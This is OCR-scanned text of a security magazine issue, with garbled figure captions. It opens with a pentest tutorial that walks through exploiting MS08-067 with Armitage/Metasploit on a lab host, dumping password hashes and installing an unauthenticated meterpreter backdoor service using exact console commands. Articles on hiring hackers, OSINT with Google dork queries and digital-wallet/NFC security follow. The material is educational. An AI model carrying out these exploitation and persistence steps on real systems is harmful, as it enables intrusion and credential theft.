sage informing us that there is a new option on the
targets.

Right click your target and you should see a new
menu option: ATTACK.

This option will list you the available services
on the target system and also possible exploits
to be used in order to gain access on the target
system. In this scenario the target system has a
WindowsXP SP2 operating system which has the
Microsoft NetAPI vulnerability. As you can see
in Figure 7, Armitage recommends the msos 067
netapi €xploit for use in the vulnerable service.

Clicking on that exploit option will present us with
a new window that contains the metasploit attack
options already set (Figure 8).

After we click Launch, we will see metasploit at-
tempting to gain access to the target system via

ms08_067_netapi
msl0_061_spoolss

netidentity xtierrpcpipe
timbuktu_plughntcommand_bof
pass the hash...

smb

——
dcerpc »
oracle >
samba [

= >

check exploits...

Figure 7. Attack Menu

» Attack 192.168.1.38
Microsoft Server Service Relative Path Stack Corruption

This module exploils @ parsing faw in Lthe path canonicaliztion code of NetapIz2.dil B
through the Server Service. This module is capable of bypassing NX on some operating &
svstems and service packs. The correct taroet must be used to orevent the Server X
4| value

192.168.1.37

Qprion
LHOST
LPORT 12593

RHOST 192.168.1.38
RPORT 443

SMBPIPE BROWSER

Targets: | 0 == Automatic Targeting tall|

Use a reverse connection

|| Show advanced options

Launch |

Figure 8. Metasploit Attack Options
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the exploit we chose. If everything works fine,
metasploit will let us know that we have a new
meterpreter session available (in this case ses-
sion 2 as seen in Figure 9). This new session
means that we now have access and control of
the system. If we pay attention to our target in
the hosts grid we will notice the host with a bolt
around it. This is Armitage letting you know that
you have control over that system and that the
penetration has been successful.

Post Exploitation & Maintaining access
From this part on, it is almost Game Over for the
target system. This is because we now have full
control over the system with the meterpreter pay-
load. You will have to try out the different options
provided by meterpreter in order to get a good
grasp of it. | will mention the most popular options
used in pentesting.

Privilege scalation

Right click on the target system and head to the me-

terpreter option - Access - Escalate Privileges.
The use of this technique is very usefull if you

have restricted or user-level privileges. Metasploit

will attempt to give you SYSTEM privileges so you

can have total control within the system.

f'“t,l

Memmreter" drese il wigrate Now!
Escalate Privilegas
Steal Token
Dump Hashes
Persist

Pass Session

Interact
Explore

Attack

Access
Interact
Explore

Pivoting
ARP Scan...

Browse Files
Show Processes
Log Keystrokes

Kill Screenshot

Webcam Shot
Post Modules

Figure 11. Explore Menu

www.hakin9.org/en

Meta-Fast And Meta-Furious

Dump Hashes

You can choose any of the two offered options
(Figure 9). In this example, | chose the Isass meth-
od. After you click on it you will have to wait for a
“‘completed” message, go to the View menu and
select CREDENTIALS.

Once you have clicked on the credentials op-
tion, you will be presented with a hash table of all
the users available locally on the target system
(Figure 10). The next step would be to try those
hashes on a hash cracking software like john the
ripper or ophcrack, so you can get the passwords
in plain text.

Screenshot

Within the explore menu you will have several inter-
esting options (Figure 11). Screenshot will give you
an instant real time picture of the target’s screen.

Command shell / Meterpreter shell

The last option is not the least important. The com-
mand shell for seasoned pentesters is all they
need to control the entire system. The power of
meterpreter resides on automating and making
things very easy and fast that in other way would

Interact >
Explore 3
Pivoting 4
ARP Scan...

Kl

Command Shell
terpreter Shell

Me
De

Figure 12. Interact Menu

Console ¥ | Meterpreter 2 X

METETrpreter
eterprete
meterprete
meterprete
meterprete
eterprete
meterprete
meterprete
meterprete
eterprete
meterprete
meterprete
meterprete
eterprete
meterprete
meterprete
meterprete

meterpreter

™ | [m Ammitage

Vi

.

AR ERRRRARRRRRRARRR
¥ Y AVMAYMYMNYMMYMAY Y Y MMM YYY

}

Figure 13. Meterpreter Console
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be obtained through the command shell or several
techniques but that would take a lot of our time.
Both options can be reached within the Interact
menu at the meterpreter options (Figure 12). Once
you select any of those, you will see a shell at the
bottom window (Figure 13).

For the maintaining access part, the idea is to
make the system accessible every time we need
or want to. They are lots of techniques and strate-
gies depending on the target system and the pen-
tester’s preferences. You could use a simple yet
powerfull tool like netcat or use the power provid-
ed by metasploit by using metsvc (meterpreter ser-
vice) that could be launched from the meterpreter
console in Armitage.

At the meterpreter console, type run metsvc.
This will install meterpreter as a service on the tar-
get system on port 31337. Once installed, you will

e lerpreler = run melsve
[*] Creating a meterpreter service on port 31337
I*] Crealing a lemporary installation directory Cir\WINDOWS\TEMP\WNHhVOahNLwssIb. ..
[~ = Uploading metsrv.dll...
> Uploading metsve-server.exe...

I* = Uploading metsvc.exe. ..
[*] Starting the serv.
= Installing service metsve
* Starting service
Service metsve successfully installed.

neterpreter =

Figure 14. Meterpreter Service Successfuly Installed

| consele X
PRLRTRTITOT NI rInts
fHFEEFf
TEEETE T f i e ffefarirrasee
HEHEEE. ..
TEEFEFEeE. ..
TIEffeee

Code: ©0 00 00 60 M3 T4 SP L@ 1T FR 4M 3W OR K! V3 RS 10 N1 00 00 00 @0
Aiee, Killing Tnterrupt handler

Kernel panic: Allempled Lo kill the idle Laskl

In swapper task - not syncing

=L metasploit v4.5.0-dev [core:4.5 api:1.0]
-==[ 027 exzploils - 499 auxiliary - 151 posL

Figure 16. New Meterpreter Session Opened
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be able to connect everytime you want (provided
the system is turned on).

Say a couple of days go by and you need to ac-
cess the system again for your pentesting activities.
In order to connect to the remote meterpreter ser-
vice, you will have to use a multi-handler provided
by metasploit also, and the metsvc bind tcp payload.

At the msf console in your armitage window (Fig-
ure 15), type:

* use exploit/multi’/handler
» set PAYLOAD windows/metsvc_bind_tcp
+ set LPORT 31337

You can choose another port if you like.
+ set RHOST 192.168.1.38
This would be the target IP.

» show options (Figure 16)
+ exploit

Once you issue the expioit command, the multi/
handler will try to connect to the remote meterpret-
er service on port 31337. If everything goes neat,
we will see a new meterpreter session opened just
like the one we had before (Figure 16). We can
continue now with our pentesting needs.

If you like to uninstall this service once you have
finished your pentesting job, you will have to is-
sue the run metsve -r command. Please be care-
ful with this, a malicious attacker will only need to
know that this service is up and running in order to
connect to it. Metsvc requires no authentication!
So please understand that there are a lot of risks
involved with this last technique.

Just to end | would recommend you continue play-
ing around with armitage and further on with the
metasploit suite itself. Remember, the true power re-
lies on Metasploit and there are tons of options that
are really helpful on an everyday pentesting basis.

GABRIEL LAZO CANAZAS - ECPPT - CPTE
- LA 27001

Gabriel is a Lima - Pert based security
engineer, researcher and pentesting in-
structor, he is part of many security proj-
ects and collaborates with the technical
writing for some of the RAMA Multimedia
publications. He is also ENHACKE CEO, an
Information & IT Security company based
in Perd. You may contact him at www.enhacke.com or www.
linkedin.com/in/gabslazo.
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HOW TO SECURE YOUR COMPANY?

Why Hire a Hacker?

Before I start this article | would just like to clarify that I'm
not advocating the hiring of computer criminals. If you are
being held to ransom by someone claiming to have control
of your infrastructure, and demanding payment to ‘prevent
further damage or exposure, then you need to contact the
relevant authorities. However, if you want to prevent said
criminals hijacking your systems then perhaps a‘hacker’is
exactly the person you need for the job! At AlienVault, we
pride ourselves in working with ‘hackers’and having them
as part of our team to ensure we provide the best service to

our customers.

move a screw, would you use a cross head?

Of course you wouldn’t — it wouldn’t work
for one reason. Similarly, if you needed to dig a
hole would you use a spoon? While you'd get
the job done the time wasted could be better in-
vested elsewhere. It's only natural to use the
tool that's been perfectly designed for the job
yet, for some reason, when it comes to securing
the corporate infrastructure, many are frightened
by the idea of hiring a hacker. | believe they'’re
missing out.

In a previous article | discussed the term ‘ethical
hacker’ and, while | don’t intend on regurgitating
the theme here, it is worth just reminding you that
| believe you should call a spade a spade and a
hacker a hacker — ethics is irrelevant. | also define
a hacker as ‘someone who thinks a certain way
about technology’. For that reason, if you want to
make sure your systems are secure then the best
way is to test their strength and that would be best
done by someone ‘who thinks a certain way about
technology’.

That said, not all hackers are the same so here
are the skills, | believe, a hacker should display:

I f you need a flat head screwdriver to re-

Out of the Box
My hacker definition sums this up perfectly. Rath-
er than looking at how something should work,
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a hacker will approach it from a different an-
gle. He won't try your ‘security doors’ to make
sure they’re locked, but instead push on the wall
around it to see if the bricks hold up and if the
windows have glass — does the putty hold them
in place.

‘No’isn’t in his vocabulary

Tenacity is another key skill a hacker must pos-
sess — someone who doesn’t take ‘no’ for an an-
swer. Take a locked door — there are a number of
ways of ‘opening’ it and a hacker will keep trying
until he manages it. Of course the easiest way is
to locate the key but, if one isn’t on hand, then can
the lock be picked? Can it be drilled? What about
cutting the lock out altogether? | think the phrase
from a legendary film — You’re only supposed to
blow the bloody doors off perfectly encapsulates a
hacker’s enthusiasm to get the job done.

Morals of an alley cat

Now, before everyone starts baying for my blood,
| don’t for one minute advocate paying a criminal
for his services — unless they’re rehabilitated and
you’re into second chances. However, a hacker
needs to think and act like a criminal or what’s the
point. Criminals don’t play by the rules and being
afraid to push the boundaries is why a lot of com-
panies end up experiencing breaches.
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Porridge for breakfast

While I've said there’s no reason why a rehabilitat-
ed hacker shouldn’t be employed, it does raise seri-
ous concerns — primarily, why did they get caught?
Professional hackers will pride themselves on their
skill at infiltrating systems, undetected, and will
certainly not want to leave an electronic ‘finger-
print’. A criminal conviction shouldn’t be seen as

Why Hire a Hacker?

+ if they're loose lipped they could inadvertently
expose the organisation to ridicule

* a hacker likes nothing better than ridiculing
someone else’s inadequacy

At the end of the day, someone who has the skill
and tenacity to get the job done is the perfect fit
for any organisation. Don'’t let a ‘name’ come be-

a ‘qualification’ but rather testament that perhaps
they’re not up to the job!

tween you and the opportunity to secure the per-
fect asset for your business.

A big head
An egotistical hacker isn't necessarily a brilliant
hacker — in fact quite the reverse is often true. I've
sat and listened to far too many people claiming
responsibility for something that I've known they
didn’t do — often because | was in fact responsible,
but that’s for another time.

There are a number of reasons why bragging is
a bad trait in a hacker:

DOMINIQUE KARG
Chief Hacking Officer at AlienVault

+ they should be able to prove their ability rather
than just talk about it
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HOW TO SECURE YOUR COMPANY?

How Could

Organisations

Leverage Open-Source Intelligence To Gain More Insight

Into Their Cyber Threats?

It Seems To Me That Many organisations, including some

of the largest ones, do not sufficiently utilise the open-
source intelligence capabilities available online in order to
gain further insight into their own cyber security threats. By
adopting even basic techniques, organisations may be able
to improve their detection time and responsiveness to at

least some of their cyber threats.

tions Report (DBIR) from Verizon provides

an in-depth analysis of a broad range of se-
curity breaches and sheds some light on the cir-
cumstances under which they were detected. Ac-
cording to the report, the span of time from the
initial compromise to the moment when the victim
organisation discovered the incident was a matter
of months or even more for 66% of the incidents
that were investigated. That's a pretty long time for
a compromised system and sensitive information
to be at the disposal of bad guys while still going
unnoticed! Along with these alarming figures, the
report shows some suggestive indicators on how
the breaches initially get discovered by the victim.
Third parties discover data breaches much more
frequently than the breached victims do (respec-
tively 69% and 31%). Incidents categorised as re-
ported by a third party include those learned from
law enforcement agencies, clients, partners and
other external parties. That looks very bad, doesn’t
it? And these are just the incidents we know about,
while some other cyber crimes may have been fly-
ing under the radar. A key question here is how
could these detections have turned out better?
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SIEM requires great efforts and
aggregates data often limited to one’s
own environment

Security Information and Event Management
(SIEM) technology has been a hot investment for
the last decade. There have been great efforts on
gathering intelligence by mining data and correlat-
ing internal sources, including databases, middle-
ware, infrastructure components, Intrusion Detec-
tion and Prevention Systems (IDPS), and many
more. Most recent generations of SIEM technol-
ogy are surfing on the buzzword of “big data”. They
are expanding SIEM capabilities to even smarter
mechanisms, being fuelled by massive data sets
coming from a much wider variety of sources — lit-
erally expressed in ‘terabytes per week’. This cut-
ting-edge technology is part of the new security
arsenal designed to address traditional security
solution limitations, like signature-based detection
technologies. SIEM may valuably augment secu-
rity breach detection capabilities while improving
the overall security posture. This however comes
at some cost, as getting a handle on SIEM usu-
ally requires significant resources, efforts and ex-
pertise. Most small and even many medium-sized
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businesses just can’t afford that luxury. On the oth-
er hand, SIEM is more generally limited to gener-
ating intelligence from internal sources within the
perimeter network. Supporting collection mecha-
nisms often do not integrate nicely with unstruc-
tured external data sources.

Emerging cyber threat intelligence
offering won’t uncover 100% of the APTs
In the light of today’s fast-paced cyber threat land-
scape and the emergence of Advanced Persis-
tent Threat (APT), security vendors and provid-
ers are bringing new threat intelligence solutions
on the table. Rather than just providing CERT,
SANS and vendors advisories on the latest ongo-
ing threats, they tend to aggregate supplementary
restricted data sources, such as honeypots, mal-
ware zoos, vendor’'s managed devices and other
endpoints, giving a better understanding of what’s
going on down on the wire. By doing so in con-
junction with contextual analysis, the vendor may
provide its customer with an actionable threat in-
telligence feed related to corporate IP addresses,
domain names, sensitive URLs, file content, etc.
Some of these new services may probably pay off
and help in uncovering quite a few APTs in some
cases. They might be especially worthwhile when
offered by big players in telco, managed services
or enterprise security products arenas. The larger
their infrastructures scale, the wider their field of
view is likely to be.

As usual, a multi-layered approach is
better when it comes to security

As for any other information security practice, a
good cyber threat intelligence strategy may follow
a multi-layered approach. This is particularly true
when considering APTs, where the detection risk is
inherently noteworthy. On one hand, if an organisa-
tion focuses all its efforts on SIEM or other assimi-
lated techniques, its eye-range might be limited to
the inner perimeter. On the other hand, an organisa-
tion relying on an external vendor to carry out threat
intelligence monitoring outside its perimeter would
probably be limited to the vendor’s field of view.

Embedding OSINT into a cyber threat
intelligence strategy

With this in mind, some forms of Open-Source In-
telligence (OSINT) mechanisms could be embed-
ded into the corporate threat intelligence strat-
egy and connect the dots with the other layers.
Although OSINT has been traditionally used by
government and military agencies, some of the
underlying techniques may be suitable in other
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Could Organisations

businesses. This term is so called “open-source” at
it refers to overt and publicly available sources on
the Internet. OSINT techniques consist of conduct-
ing regular reviews and/or continuous monitoring
over multiple sources, including search engines,
social networks, blogs, comments, underground
forums, blacklists/whitelists, and so on. Likewise,
similar techniques are commonly used by market-
ing departments for competitive intelligence and
business intelligence purposes. They are, howev-
er, utilised as strategic decision support tools rath-
er than cyber threat intelligence means. In case of
the latter, the purpose is twofold.

Various techniques to reveal weaknesses
and uncover ongoing cyber threats

The first objective is to uncover ongoing threats by
looking up open sources for signs of suspicious ac-
tivity associated with a predefined set of targets.
The second objective is to understand the organisa-
tion’s footprint and how it might be viewed by poten-
tial cyber-criminals in terms of interest, visible infor-
mation, exhibited vulnerabilities and weaknesses.
This could be achieved by using reconnaissance in
a similar way as a typical pentester does. However,
this reconnaissance process might be more repeat-
able and automated compared to the pentester’s.
Techniques are numerous and may be more or less
complex, depending on the needs and what can be
afforded. They can be carried out using a variety
of services and tools, including free online utilities.
They can range from using specially crafted search
engine alerts (i.e. Google dorks, web crawling for
blacklists, etc.) to creating dummy user accounts in
underground hacking forums.

As a simple example, an organisation named
“‘MyOrg Ltd” may implement some basic search
engine alerts crawling the web for patterns like
“MyOrg * defaced”, "“MyOrg
* SQL injection” OF €VEeN “Fake MyOrg emails”. Such
a surveillance mechanism could allow the organ-
isation to catch-up on an ongoing threat which is
being discussed by some users, bloggers, online
newspapers or hackers claiming to have broken
into a system. Yes, still a lot of hackers show off
their tour-de-force on Twitter and from time to time
exchange lists of vulnerable URLs in public places.

Another straightforward example would be to
query various search engines with common pat-
terns of vulnerabilities by using the so called
“Google dorks” or similar requests. For instance,
the following requests may at times reveal some
juicy targets: “inuri:Myorg.com "login: *’ ‘password=

“MyOrg has been hacked”,

*7  filetype:xls” or “site:www.MyOrg.com inurl:

administrator login.asp”.
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HOW TO SECURE YOUR COMPANY?

To give you one last illustration, social networks
and search engines could both be monitored for
tracks of careless employees or contractors post-
ing confidential information about their work ac-
tivities. This could be done by setting-up alerts
based on patterns related to trade secrets, cur-
rent R&D projects or classification footer re-
cords like “confidential MyOrg Ltd” OF “MyOrg Ltd
proprietary information”. A bit of a side note here:
care should be taken not to violate privacy and to
comply with regulations when monitoring activity
on social networks.

OSINT for whom and for what purpose?

All kind of business may see advantages in imple-
menting OSINT mechanisms. While many large
organisations focus their efforts on implementing
a comprehensive (and expensive) SIEM system,
some may balance their investments with other
forms of cyber threat intelligence. As with other
information security investments, OSINT initia-
tives should follow a risk-based and cost-effective
approach. For instance, a major defence corpora-
tion may be interested in a more ambitious OSINT
program than a small toy manufacturing compa-
ny. The first one might be a juicier target than the
second one. It may implement complex and highly
customised OSINT techniques focusing on sever-
al criteria, including, but not limited to, key stake-
holders and executives details, sensitive projects,
IP address ranges, domain names, URLs, etc.
Small businesses, which can’t easily afford SIEM
or costly cyber threat intelligence solutions, could
find worth considering simple OSINT techniques
similar to some of those outlined above. As with
other cyber threat intelligence mechanisms, bear
in mind that OSINT won’t uncover all of the ongo-
ing threats. The simplest mechanisms might un-
cover just a small few of those. They may how-
ever come at minimal cost, so why not to go with
them? Just think about it as a component of a
multi-layered threat detection or cyber threat in-
telligence strategy.

Conclusion

It is clear today that traditional (and expensive) se-
curity protections like signature-based and “wall-
and-fortress” approaches are not enough anymore
in protecting against emerging cyber threats. Or-
ganisations should move towards new approach-
es to fill the gaps in their traditional security arse-
nal. As has been seen, no single solution will fill
all gaps; organisations should rather seek for a
combination of several ones by adopting a multi-
layered approach. Although they have been tradi-
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tionally used merely by government and military
agencies, some forms of OSINT techniques will
probably be considered by a growing variety of or-
ganisations as an additional detection layer.

Going back to the original question, there are
multiple ways to make use of OSINT. Organisa-
tions may focus their OSINT strategy on uncover-
ing ongoing threats (reactive detection), conduct-
ing online reconnaissance (proactive prevention)
or a combination of both. As has been noted, the
complexity of an OSINT strategy may vary signifi-
cantly between organisations depending on objec-
tives and resources. They may also change over
time as a step forward in meeting new and high-
er requirements. The simplest techniques can be
carried out at almost no cost. More complex tech-
niqgues may require more efforts to put everything
in motion, maintain the process and look over the
output data. There might be a high rate of false
positives somehow, which requires great work to
filter them out and to tune the system up. OSINT
can be performed whether as ad hoc reviews or a
continuous process.

OSINT can be either done in-house or contract-
ed out. At the moment, a limited number of vendors
provide OSINT services. Rare are the vendors
which provide a comprehensive global surveillance
of open sources over the cyberspace. Frequently,
the offered solution can’t be customised enough to
really meet the organisation’s needs. Many con-
sultancies provide OSINT reviews as a service,
even sometimes in continuous mode. Because of
a more limited client portfolio, the service they run
may be more tailored to each client’s need.

Alast point to mention is that organisations must
keep addressing the human factor while carrying
out OSINT practices. Staff online behaviour re-
mains a key concern. Organisations should de-
velop guidelines and best practices on personnel
use of the web and social networks, while per-
forming OSINT reviews and monitoring to ascer-
tain how much sensitive information can be found
online. Bear in mind that even if a piece of data
disclosure in a public place might not be a big
concern in itself, this piece may be used in corre-
lation with other available data to infer more sen-
sitive information.

LAURENT MATHIEU

CISSP, is an information security consultant. He's been in the
security industry for more than 9 years, serving both the pri-
vate and public sectors in Europe. He has hands-on cyberse-
curity experience, having worked in CERT and SOC environ-
ments for years.
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HOW TO HACK CYBER WALLET?

At today’s economy we all are very used to purchase using
debit and credit cards, to use cash or check.

This is about to change, in fact this change is already
happening. Companies like Google, VISA, MasterCard,
PayPal and others are releasing digital wallet solutions to a

demanding market.

re you ready for this change on our ways?
A This article intends to introduce to the read-
er the concept of Digital Wallets, to show
some interesting approaches that are being used
to secure them and discuss the associated risks,
tools for exploitation and techniques to secure

your Digital Wallet. | hope you enjoy reading it.

As a concept, a digital wallet is a software running
on an electronic device that allows an individual to
make electronic commerce transactions. This can
include purchasing items online with a computer
or using a smartphone to purchase something at
a neighborhood store. This also can refer to the
same individual purchasing goods at a local super-
market or buying tickets in a theater.

Increasingly, digital wallets are being made not
just for basic financial transactions but to also au-
thenticate the holder’s credentials. For example, a
digital-wallet could potentially verify the age of the
buyer to the store while purchasing alcohol. It is
useful to approach the term ,digital wallet” not as a
singular technology but as three major parts:

* The system (the electronic infrastructure)

* The application (the software that operates on
an electronic device)

* The device
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A digital wallet is linked into an end-user, bank,
or vendor application and provides the applica-
tion with instrument management and protocol
management services. The digital wallets that are
linked into vendor and bank applications provide
these management services in the same way that
end-user digital wallets do. A vendor’s digital wal-
let, however, may be part of a much larger soft-
ware application that is integrated with order and
fulfillment systems. Similarly, a bank’s digital wal-
let may be part of a larger application that is inte-
grated with general ledger, profit & loss, and rec-
onciliation systems.

Furthermore, a wallet is not limited to being a
plug-in or applet or some other extension of a web
browser. A digital wallet with a graphical user inter-
face may also run as an application on its own. A
digital wallet may also run on computers that are
not connected to the Internet such as smart cards
or personal digital assistants. The user interface
to the digital wallet may vary in such cases. In the
case of a PDA, for example, the digital wallet may
have a pen-based user interface. In the case of a
smart card, the digital wallet may have no user in-
terface at all. Nevertheless, in each case, the set
of functions that the digital wallet’s interface pres-
ents to its client should be the same.

Digital wallets will increase efficiency on the cus-
tomer’s end as well as for the retailer. They will
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reduce the average transaction time and allow
corporations to increase their customer intimacy.
Eventually, they will have the ability to store cou-
pons from multiple retailers and will process dis-
counts automatically. Technology allows the infra-
structure of digital wallets to be easily integrated

with banks and retailers. Corporations can work
with the software companies and the banks to cus-
tomize the digital wallets and adapt them to their
existing network.

Some very interesting data published by "Mobile
Payments Today“ shows that 41% of iphone users
have performed transactions in their smartphones,
78% of retailers plan to invest in mobile commerce
and by 2015 mobile payments can reach 1 ftrillion
dollars worldwide.

It's definitely something to consider, as those
transactions should be targeted with more atten-
tion by the “evil side of hacking”...

So, we need to come up with better ways to se-
cure it. There are several movements worldwide
pushing for a larger and broader adoption of mo-
bile payments through digital wallets. New Zea-
land, due to its unique characteristics (Small
number of Telcos and Banks, new financial sys-
tem, not too many loyalty plans) is being used as
a ground zero field test for several vendors while
you read this article.

Korea has had them for over eight years and Ko-
reans use it frequently so we can say that at least
it has deployments and mass adoption at some
parts of the world and in our fast evolving world,
eight years means a lot on terms of technology
development.

The technology behind the digital wallet is multifac-
eted. The infrastructure and logistics of the actual
cash transfer is advanced, but the mobile device
technology is fairly simple. Obviously, an important
feature of a digital wallet is that it is accessible from
a mobile device, and in addition to the hardware
and software incorporated into the phone, the de-
vice may need to be modified in order to scan a
phone at the checkout. There are multiple ways a
digital wallet system can be implemented including
optical scanners, Bluetooth, NFC or RFID tagging.
We'll look for the security aspects of those later in
the article.

It's important to understand that the term digi-
tal wallet is a wide descriptor for a range of tech-
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HOW TO HACK CYBER WALLET?

nologies that let you perform many tasks. In gen-
eral, a digital wallet is an app in the way you pay
for things.

Many digital wallet services work through apps
on your smartphone. At the supermarket, for in-
stance, you might simply tap your phone to a com-
patible check-out register to pay instantly. For oth-
ers, all you need to use them is something you
know, such as your mobile phone number and a
PIN (personal identification number).

No matter what form it takes, a digital wallet is
based on encryption software that substitutes for
your old, analog wallet during monetary transac-
tions. You benefit from the protection and conve-
nience. Merchants benefit because they’re more
protected against fraud and they sell more prod-
ucts, faster.

Usually, a Digital Wallet will reside in the client
side of things, the user will simply download a se-
lected app on the his/her device(s) and fill it with
your data and move forward, examples are Ap-
ple’s Passbook (http://www.apple.com/ios/whats-
new/#passbook) and Google Wallet (http://www.
google.com/wallet/) but due to obvious security
reasons plus the need for standardization for a
broader adoption, Server Side Digital Wallets are
gaining momentum.

On this case, the app resides on the vendor
premises (Datacenter, Cloud Service) and the us-
er simply enters his credentials during the pur-
chase phase. One example of a Server-Side Dig-
ital Wallet is Visa v.me (https://www.v.me/). As
today Server Side Digital Wallets are being de-
ployed in online web transactions, so for a more
broader view of field implications let’s focus on
the Client Side apps what will remain being large-
ly used.

It's clear now that the device which contains the
Digital Wallet holds sensitive customer informa-
tion, but the providers have minimized the risk
of data breaches at a certain level and trusting
the user some level of responsibility, which let’s
be honest it's not so different from the tradition-
al ways we have, you need to secure your cash,
cards and checks.

Digital wallets are encrypted and are safer to use
than most credit cards, which don’t require more
than a signature. The digital version requires a
personal identification number (PIN) to process a
transaction, unlike many of its plastic counterparts.

Hacking will always be a threat, but digital wallet
companies like Google have made security their
top priority. Confidential information, such as the
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customer’s billing address, credit card number,
and social security number will be encoded. The
customer’s credit card information is also stored
on a separate chip within the phone that will not
be connected to the wireless network. The en-
cryption and PIN requirement of the digital wal-
let will protect the customer and reduce implied
security risks. Sometimes photographs/biomet-
rics are enforced within the app and must match
the information presented on the Point of Sales
(POS) side of the transaction what makes hack-
ing a little bit harder.

It's not the intention of this article to provide an
application by application level of analysis trying
to find bugs or some exploitable path, rather than
that, let's focus on different aspects of the Digital
Wallets and in many ways, less focused.

The communication environment.

PS: We will come back to some application se-
curity aspects later on, but more on a consumer
guideline type of approach.

The Network Layer

All the Digital Wallets we have seen and all future
Digital Wallets cannot run from a fundamental ba-
sics. The device features and capabilities.

Some devices will support Bluetooth, others will
support NFC, others a combination of those.

It's important for you to take a note on that and
analyze the device you're going to install your
Digital Wallet because this can make a huge dif-
ference on the security aspects provided and al-
so, flaws.

Now, we're going to visit the security aspects of
NFC, as its adoption is far more wide than Blue-
tooth in Digital Wallets solutions but before it, let’s
go one step back and discuss a little bit of RFID as
this is the basis of NFC.

What is RFID technology and how does it
work?

RFID means radio frequency identification, like
NFC both employ radio signals for all sorts of tag-
ging and tracking purposes, sometimes replacing
bar codes. NFC is still an emerging technology;
RFID, however, is currently in widespread use all
over the world.

RFID tags contain an antenna and a memory
chip that stores data. To see that data, you need
an RFID reader. These tags and readers are used
in a whole world of different applicarions.

The tags are embedded into retail products to
help stores keep tabs on inventory. Indeed, in-
ventory and package tracking are two of the most
common uses of RFID. But these tags can do
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much more. The RFID highway toll tag in your
car automatically identifies you to the toll reader,
even at top speed, which bills you later. Some air-
lines use RFID tags to efficiently track and control
large loads of baggage. And RFID appears in so-
called smart passports and credit cards, as well
as identification badges that let employee’s ac-
cess secure areas.

RFID often works well at distances of many feet;
otherwise, you’d have to veer your car dangerous-
ly close to a toll gate in order to make sure the
reader accepted your payment. And RFID is a one-
way communication system, in which data flows
from tags to the reading equipment.

HOW DOES RFID WORK?

Antenna ’)) ((g

Reader broadcasts
signal through
antenna

RFID
Reader

ranspunder

Transponder receives signal

Transponder is charged with
enough energy to send back
and identifying reposonse
like data.

Reader sends info / data to
g computer system for collecting,
legging and processing.

Figure 1. How RFID works

Is RFID vulnerable?

As RFID is a standard technology and widely ad-
opted, but yes, there’s some exploits and tech-
nigues in the wild showing how to exploit it.

While many institutions (banks & Governments)
who are rolling out this ‘contact-less technology’
claim that their RFID tags are encrypted and se-
cure, we also hear many claims from the hacking
community that these encryptions can & will be
hacked. If you search in Google for RFID hacking
there is literally hundreds of posts. Any RFID read-
er can be used to read a RFID tag.

Since the tags can be read without being swiped
or obviously scanned (as is the case with magnetic
strips or barcodes), anyone with an RFID tag read-
er can read the tags embedded in your clothes and
other consumer products without your knowledge.

Also, for various reasons, RFID reader/tag systems
are designed so that distance between the tag and
the reader is kept to a minimum. However, a high-
gain antenna can be used to read the tags from much
further away, leading to privacy problems.

So, there are plenty of reasons that you should
care about your RFID Security. Now that we know
about the NFC father ‘sins” let's move forward and
understand the “son” own issues.
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Near Field Communication (NFC)
At its most basic level, near field communication is
a standard for very short-range radio transmission.

A pair of NFC transmitters can communicate at
a maximum range of about 4 inches (10 centime-
ters). Some chips are designed to exchange data
only if you’re touching the devices.

There are already smartphones on the market
with NFC chips that will let you purchase items just
by holding your phone close to a receiver at a cash
register.

What exactly happens when two NFC devices
establish a communication?

Basically, NFC devices can act as active or pas-
sive. Difference is that active devices are powered
ones that actively consume data and passive ones
are non-powered devices also called "NFC tags”
and are powered at communication time by the ac-
tive NFC.

This process creates a radio field. The radio field
generated by the tag interacts with the field gener-
ated by your phone. The NFC chip in your phone
detects and decodes the radio field and the NFC
app you used uses that information on the way
presented (link, purchase, a file, etc).

Some NFC transactions will involve two pow-
ered devices. On this case both devices act as
active and passive components, when active, a
device sends information and when passive, it ac-
cepts information.

Furthermore it should be mentioned that NFC
communication is not limited to a pair of two de-
vices. In fact one initiator device can talk to mul-
tiple target devices. In this case all target de-
vices are enabled at the same time, but before
sending a message, the initiator device must se-
lect a receiving device. All non-selected target
devices must then ignore the message. Only the
selected target device is allowed to answer to
the received data. Therefore, it is not possible to
send data to more than one device at the same
time, so on NFC, broadcasting messages are
not possible.

It's important to remember that NFC just covers
the actual transmission technology. It doesn’t de-
termine the content of those transmissions. The
various hardware and apps that incorporate NFC
chips will dictate what information changes digital
hands. While the transmission technology is stan-
dardized, the content that can move across it isn’t.

Because NFC is a standard, it has particular
specifications. The transmission frequency for da-
ta across NFC is 13.56 Mhtz (that’s a good thing!
as it avoids all the hamming problems of running
in 2.4 Mhz).
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The NFC forum, an organization that establishes
and promotes the NFC standard, designed NFC to
send data in three different transmission speeds.
Currently, an NFC device can send data at a rate of
106, 212 or 424 kilobits per second. These speeds
are fine for short bursts of information, but aren’t
suitable for heavy-duty tasks like watching videos
or playing games.

There are three modes of operation for NFC.
The read/write mode allows an NFC device to
read a tag like the kind you'd find in a poster.
The peer-to-peer mode makes it possible for two
NFC-enabled devices to exchange information.
This lets you do things like tap your phone to an-
other person’s phone to exchange contact infor-
mation. Finally, there’s the card emulation mode.
This is what lets NFC emulate or imitate a smart
card like the kind you use in public transportation
or ticketing systems.

It's important to remember than NFC is a de-
veloping standard. It will evolve as time goes on.
While the standard dates back to 2004, it’s still a
young technology. Adoption of NFC has been slow
in the United States, only a few smartphone manu-
facturers and retail organizations support it. In oth-
er parts of the world, notably Japan and Korea, it's
much more popular.

The Security Aspects of NFC

Whenever wireless communications are involved,
there’s a potential security risk as we saw earlier.
Could it be possible for an unscrupulous person to
eavesdrop on communications between NFC de-
vices? The answer is a resounding yes. With the
right antenna, hardware and software, it's possible
to snoop on transactions.

Even though NFC transmissions must take place
over very short ranges (10 centimeters is the maxi-
mum distance), with many applications requiring
even shorter ranges -- it's possible to pick up trans-
missions from much further away. Defining exactly
how far away an eavesdropper can be isn’t easy. It
relies on several factors, including whether the in-
formation is being sent in active or passive mode,
the type of antenna and receiver the eavesdropper
is using and how much power the active compo-
nent pours into the transmission. It's possible that
someone trying to listen in on an active component
could get a signal as far away as 10 meters as
some proof of concept attacks proved.

Another potential problem with NFC is that some-
one could attempt to disrupt communications by
broadcasting radio signals in the NFC spectrum
during transactions. While this isn’'t the same as
eavesdropping, it could be a source of annoyance.
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And the NFC hacking...
At Defcon 20, the security researcher from Black
Wing Intelligence, Eddie Lee presented the NFC
Proxy, a very interesting Android application de-
signed to analyze/replay NFC communications.
As the name states, NFC Proxy allows you to
proxy NFC communications but not only. It also al-
lows saving it and replay.
You can use NFC Proxy on two different ways

Replay Reader (Skimming mode¥)
You can read Credit Card information by putting
